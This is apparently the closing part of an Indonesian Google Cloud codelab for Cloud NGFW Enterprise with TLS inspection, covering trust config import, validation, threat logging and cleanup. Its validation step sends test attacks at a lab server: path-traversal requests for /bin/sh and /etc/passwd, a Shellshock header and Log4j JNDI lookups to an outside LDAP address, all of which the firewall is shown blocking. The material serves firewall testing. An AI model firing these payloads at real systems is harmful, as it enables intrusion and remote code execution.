      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Impor konfigurasi kepercayaan:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Perbarui file YAML Kebijakan TLS untuk menyertakan konfigurasi kepercayaan:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Impor Kebijakan TLS yang telah diperbarui:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Memvalidasi Inspeksi TLS E/W

Lakukan SSH kembali ke klien untuk menguji traffic E/W dengan konfigurasi kepercayaan yang telah diperbarui:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Jalankan contoh permintaan TLS ke server:

curl https://$target_privateip --max-time 2

Jika Anda masih mendapatkan output di bawah ini, harap tunggu hingga update diterapkan.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Output yang diharapkan:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Mengirim traffic pengujian berbahaya ke server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Output yang diharapkan:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Tidak ada respons yang diterima sesuai output yang diharapkan di bawah ini, mengonfirmasi bahwa contoh serangan kini diblokir untuk E/W.

13. Logging

Buka Logging > Logs Explorer melalui Konsol Cloud, masukkan filter di bawah dan buat kueri log. Ganti [PROJECT_ID] dengan project_id Anda:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Entri log Cloud NGFW Enterprise akan terlihat seperti di bawah ini:

5b68cc1063c0f4bd.pngS

Perluas entri log dan perhatikan bahwa serangan yang dikirim dari vm klien ke server telah diidentifikasi dan diblokir (Kerentanan Apache Log4j Remote Code Execution sesuai dengan screenshot di bawah).

478f18f8481e90ed.pngS

Anda telah berhasil men-deploy Cloud NGFW Enterprise dengan TLS Inspection untuk memblokir permintaan berbahaya.

Lanjutkan ke bagian berikutnya untuk mengetahui langkah-langkah pembersihan.

14. Langkah-langkah pembersihan

Pembersihan Penyiapan Dasar

Hapus instance:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Hapus kunci dan nilai Tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Hapus Kebijakan Jaringan Firewall Cloud dan pengaitan:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Hapus Cloud Router dan Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Hapus alamat IP yang dicadangkan:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association, dan TLS Clean-Up

Hapus Grup Profil Keamanan dan Profil Ancaman dalam urutan ini:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Hapus pengaitan endpoint Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Hapus endpoint Cloud Firewall, yang dapat memerlukan waktu sekitar 20 menit:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Anda juga dapat mengonfirmasi bahwa endpoint Cloud NGFW telah dihapus dengan menjalankan perintah di bawah:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Status untuk endpoint akan menampilkan:

STATE: DELETING

Setelah selesai, endpoint tidak akan lagi dicantumkan.

Hapus TLS Policy dan Trust Config dalam urutan ini:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Menonaktifkan dan menghapus Root CA dan Kumpulan CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Pembersihan Subnet dan VPC

Terakhir, hapus subnet dan jaringan VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Selamat!

Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk East-West dan Northbound TLS Inspection.